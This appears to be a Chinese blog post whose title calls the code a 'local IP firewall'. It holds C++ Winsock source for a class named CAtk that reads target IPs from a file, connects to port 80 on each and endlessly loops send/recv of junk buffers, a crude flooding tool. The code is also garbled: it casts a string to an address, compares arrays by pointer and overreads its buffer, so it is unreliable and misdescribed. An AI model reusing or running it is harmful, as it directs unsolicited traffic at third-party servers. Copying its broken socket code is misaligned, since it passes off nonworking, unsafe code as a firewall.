本地ip防火墙 txt ip脚本自己填 论行不带空格的带回车的

/////////////////////////////////////////////////////////// 编译 release ’发布版本‘



#include<Windows.h>
#include<stdlib.h>
#pragma comment(lib,"WS2_32.lib")
#include <corecrt_wstdlib.h>
#include <iostream>
#include<stdio.h>
#include <Windows.h>
#include<list>
#include<iostream>
#include<istream>
#include<ostream>
#include <fstream>
#include<string>
using namespace std;


////////////////////////////////////////////////////////////

// GLOBALE DATa
class CAtk
{
public:
	WSADATA wsd;
	list<SOCKET> m_socket;

	int retVal;//调用Socket函数的返回值
	char buf[255];

	CAtk() {};
	~CAtk() {
	
	};

	void Release()
	{
		m_socket.clear();
	}

	void Init()
	{
		if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) {
			printf("WSAStartup failed!\n");
		}

		sprintf_s(buf, "(* -1.0f); 廖len猪守屎 & 烫烫 & 很甜很园 4 / 0 / 7; *(-1)/3*0.0000001f; ; 0 *; int 3; & Math_PI ';' ");

		std::ifstream file("ip.txt");
		std::string line;

		Sleep(2);

		if (file.is_open()) 
		{
			printf("of load ip data this work Not Click R & M \n");

			while ((std::getline(file, line)))
			{

				inster_List(line.c_str());
				printf(line.c_str());
				printf("\n");
				line.clear();
				
			}
			
			file.close();
		}
		
		

	};

	void inster_List(const char* IP)
	{
		if (IP == "")
		{
			return;
		}

		SOCKADDR_IN ins;
		ins.sin_addr.S_un.S_addr = (ULONG)IP;
		ins.sin_family = AF_INET;
		ins.sin_port = htons(80);

		SOCKET soc;
		soc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		connect(soc, (LPSOCKADDR)&ins, sizeof(ins));

		if (INVALID_SOCKET == soc)
		{
			printf("socket failed!\n");
			return;
		}

		m_socket.push_back(soc);

	};


	void loopSend()
	{
		list<SOCKET>::iterator it = m_socket.begin();
		bool a = false;
	AS:

		if (it == m_socket.end())
		{
			it = m_socket.begin();
		
		}

		
		recv(*it, buf, 255, 0);
		send(*it, buf, 257, 0);

		if(buf != "")
		{
			*it._Unwrapped();
			recv(*it, buf, 255, 0);
			recv(*it, buf, 255, 0);
			recv(*it, buf, 255, 0);
			recv(*it, buf, 255, 0);
			recv(*it, buf, 255, 0);
			recv(*it, buf, 255, 0);
			sprintf_s(buf, "/70000003007;");
			send(*it, buf, 255, 0);
			recv(*it, buf, 255, 0);
		}
		
		recv(*it, buf, 255, 0);
		recv(*it, buf, 255, 0);

		if (a == true) {
			send(*it, buf, 255, 0);
			sprintf_s(buf, "/70000003007;");
			recv(*it, buf, 255, 0);
			a = false;
		}
		else 
		{
			a = true;
			send(*it, buf, 255, 0);
			recv(*it, buf, 255, 0);
			sprintf_s(buf, "/70000003007;");
			recv(*it, buf, 257, 0);
			//send(*it, buf, 257, 0);
		}

	
		send(*it, buf, 257, 0);
		send(*it, buf, 259, 0);
		recv(*it, buf, 268, 0);
		recv(*it, buf, 257, 0);
		recv(*it, buf, 257, 0);
		
		it++;
		
		
		if (GetKeyState('K') && GetKeyState('J') && GetKeyState('L'))
		{
			Release();
			Init();
			printf("Socket Copretion reLoad ");
			Sleep(2);
			goto AS;
		}
		Sleep(2);
goto AS;


	};
};



CAtk g_atk;

void main()
{

	g_atk.Init();
	g_atk.loopSend();



	return;
};

 

posted on 2024-08-22 17:36  草丛有头猪  阅读(2)  评论(0编辑  收藏  举报

导航